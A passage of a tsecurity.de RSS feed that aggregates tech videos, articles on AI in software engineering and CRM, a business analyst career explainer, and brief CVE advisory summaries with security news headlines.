<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 10104x - Views:195333 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mWFKVqtAkeI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You&#039;ll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!<br />
<br />
PC/Console: https://playwt.link/techquickie <br />
Mobile:  https://wtm.game/techquickie<br />
<br />
Computer memory is officially worth more than gold, thanks to AI. So why do our CPUs and GPUs still act like selfish jerks and refuse to share it? They can and it&#039;s called Unified Memory, and in this video we’re breaking down the physical bottlenecks of traditional PC architecture and explaining how Apple - and now AMD and NVIDIA - are rewriting the rules of hardware efficiency. Special thanks to Professor Prashant Nair from UBC for lending his engineering expertise!<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Minecraft Was Missing One Brilliant Idea]]></title>
<description><![CDATA[Author: Two Minute Papers - Bewertung: 13560x - Views:210592 ❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers

📝 The paper is available here:
https://xandergos.github.io/terrain-diffusion/
https://modrinth.com/mod/terrain-diffusion
https://github.com/xandergos/te...]]></description>
<link>https://tsecurity.de/de/3693237/videos/minecraft-was-missing-one-brilliant-idea/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693237/videos/minecraft-was-missing-one-brilliant-idea/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:00 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Two Minute Papers - Bewertung: 13560x - Views:210592 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Ae9q7KsRbuI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers<br />
<br />
📝 The paper is available here:<br />
https://xandergos.github.io/terrain-diffusion/<br />
https://modrinth.com/mod/terrain-diffusion<br />
https://github.com/xandergos/terrain-diffusion<br />
<br />
Source video for some parts of the footage: https://www.youtube.com/watch?v=irE4tcDtUIg<br />
<br />
🙏 We would like to thank our generous Patreon supporters who make Two Minute Papers possible:<br />
Adam Bridges, Benji Rabhan, B Shang, Cameron Navor, Charles Ian Norman Venn, Christian Ahlin, Eric T, Fred R, Gordon Child, Juan Benet, Michael Tedder, Owen Skarpness, Richard Sundvall, Ryan Stankye, Shawn Becker, Steef, Taras Bobrovytsky, Tazaur Sagenclaw, Tybie Fitzhugh, Ueli Gallizzi<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MIT's 1000TB/s Photonic Chip Finally Puts an End to NVIDIA's AI Domination!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 215x - Views:5447 MIT engineers are building a chip reaching one petabit per second. See how this hardware processes data faster than any current consumer tech. This video examines the technical details behind the new MIT processor chip designed to push data limit...]]></description>
<link>https://tsecurity.de/de/3693219/videos/mits-1000tbs-photonic-chip-finally-puts-an-end-to-nvidias-ai-domination/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693219/videos/mits-1000tbs-photonic-chip-finally-puts-an-end-to-nvidias-ai-domination/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:34 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 215x - Views:5447 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/NWKjnuND7Ys?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>MIT engineers are building a chip reaching one petabit per second. See how this hardware processes data faster than any current consumer tech. This video examines the technical details behind the new MIT processor chip designed to push data limits. We explore how researchers are utilizing interferometer technology to achieve speeds of a thousand terabits on a surface thinner than a human hair. This breakdown is for engineers, students, and tech enthusiasts interested in the future of high-speed hardware. By analyzing the electronic components and the specific measurement diagrams, you will better understand the engineering hurdles involved in reaching a petabit per second. You will see how this data processing speed milestone compares to existing silicon-based architectures and why this specific design is capable of such massive throughput.<br />
<br />
Subscribe for weekly engineering breakdowns, and comment below if you want to see a deep dive on how interferometers are used in modern computing.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chasing new skills, going back to basics and pushing for collective action: how software engineers are adapting to AI]]></title>
<description><![CDATA[Software engineering was one of the best-paying professions in the US in 2022, but the advent of AI has disrupted it, leading to several layoffs and underemploymentEvery weekday, Matt, a software engineer, looks forward to his four-hour train commute to Pawling, New York. It’s time he uses to wor...]]></description>
<link>https://tsecurity.de/de/3693125/it-nachrichten/chasing-new-skills-going-back-to-basics-and-pushing-for-collective-action-how-software-engineers-are-adapting-to-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693125/it-nachrichten/chasing-new-skills-going-back-to-basics-and-pushing-for-collective-action-how-software-engineers-are-adapting-to-ai/</guid>
<pubDate>Sat, 25 Jul 2026 07:03:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Software engineering was one of the best-paying professions in the US in 2022, but the advent of AI has disrupted it, leading to several layoffs and underemployment</p><p>Every weekday, Matt, a software engineer, looks forward to his four-hour train commute to Pawling, New York. It’s time he uses to work on his own project: a browser-based video game for which he writes every line of code himself.</p><p>“I am actively trying to keep my axe sharp,” said Matt, who did not want to use his actual name, to protect his employment. In the last six months, Matt’s job has increasingly shifted away from coding, problem solving and software architecture towards reviewing code generated by artificial intelligence. Convinced that the shift will weaken his skills, he’s doing what he can to keep them intact. “I am trying not to leverage AI where I can.”</p> <a href="https://www.theguardian.com/technology/ng-interactive/2026/jul/12/software-developers-engineers-ai">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-61886 | Weintek cMT3092X/EasyWeb missing encryption (ID 20210218 / EUVD-2026-48748)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Weintek cMT3092X and EasyWeb. The affected element is an unknown function. Executing a manipulation can lead to missing encryption of sensitive data.

This vulnerability is handled as CVE-2026-61886. The attack can be executed remotely. There...]]></description>
<link>https://tsecurity.de/de/3692836/sicherheitsluecken/cve-2026-61886-weintek-cmt3092xeasyweb-missing-encryption-id-20210218-euvd-2026-48748/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692836/sicherheitsluecken/cve-2026-61886-weintek-cmt3092xeasyweb-missing-encryption-id-20210218-euvd-2026-48748/</guid>
<pubDate>Sat, 25 Jul 2026 03:55:08 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/weintek:cmt3092x">Weintek cMT3092X and EasyWeb</a>. The affected element is an unknown function. Executing a manipulation can lead to missing encryption of sensitive data.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-61886">CVE-2026-61886</a>. The attack can be executed remotely. There is not any exploit available.

A patch should be applied to remediate this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-55985 | Tycon Systems TPDIN-Monitor-WEB2 2.3.9 Web Management Interface missing encryption (EUVD-2026-48744)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in Tycon Systems TPDIN-Monitor-WEB2 2.3.9. This vulnerability affects unknown code of the component Web Management Interface. This manipulation causes missing encryption of sensitive data.

This vulnerability appears as CVE-2026-55985. The a...]]></description>
<link>https://tsecurity.de/de/3692766/sicherheitsluecken/cve-2026-55985-tycon-systems-tpdin-monitor-web2-239-web-management-interface-missing-encryption-euvd-2026-48744/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692766/sicherheitsluecken/cve-2026-55985-tycon-systems-tpdin-monitor-web2-239-web-management-interface-missing-encryption-euvd-2026-48744/</guid>
<pubDate>Sat, 25 Jul 2026 01:53:16 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/tycon_systems:tpdin-monitor-web2">Tycon Systems TPDIN-Monitor-WEB2 2.3.9</a>. This vulnerability affects unknown code of the component <em>Web Management Interface</em>. This manipulation causes missing encryption of sensitive data.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-55985">CVE-2026-55985</a>. The attack may be initiated remotely. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[60 Jahre später: Flüssigsalzreaktor in den USA erhält Sicherheitsbestätigung - Golem.de]]></title>
<description><![CDATA[60 Jahre später: Flüssigsalzreaktor in den USA erhält Sicherheitsbestätigung ; Vertriebsmitarbeiter (m/w/d) – IT / Cyber-Security consistec Engineering ...]]></description>
<link>https://tsecurity.de/de/3692759/it-security-nachrichten/60-jahre-spaeter-fluessigsalzreaktor-in-den-usa-erhaelt-sicherheitsbestaetigung-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692759/it-security-nachrichten/60-jahre-spaeter-fluessigsalzreaktor-in-den-usa-erhaelt-sicherheitsbestaetigung-golemde/</guid>
<pubDate>Sat, 25 Jul 2026 01:52:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[60 Jahre später: Flüssigsalzreaktor in den USA erhält Sicherheitsbestätigung ; Vertriebsmitarbeiter (m/w/d) – IT / <b>Cyber</b>-<b>Security</b> consistec Engineering ...]]></content:encoded>
</item>
<item>
<title><![CDATA[US and allies say Russian hackers stole emails without social engineering]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3692739/it-security-nachrichten/us-and-allies-say-russian-hackers-stole-emails-without-social-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692739/it-security-nachrichten/us-and-allies-say-russian-hackers-stole-emails-without-social-engineering/</guid>
<pubDate>Sat, 25 Jul 2026 01:20:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[RefluXFS: Neue XFS-Kernel-Schwachstelle ermöglicht Root-Rechte auf betroffenen RHEL-Installationen]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neue Kernel-Schwachstelle namens RefluXFS (CVE-2026-64600) erlaubt es lokalen Angreifern, auf bestimmten Systemen Root-Rechte zu erlangen. Entscheidend ist dabei XFS-Reflink-Unterstützung in Kombination mit einem speziellen Race-Condition-Fenster im Block-Layer. Besond...]]></description>
<link>https://tsecurity.de/de/3692727/it-security-nachrichten/refluxfs-neue-xfs-kernel-schwachstelle-ermoeglicht-root-rechte-auf-betroffenen-rhel-installationen/</link>
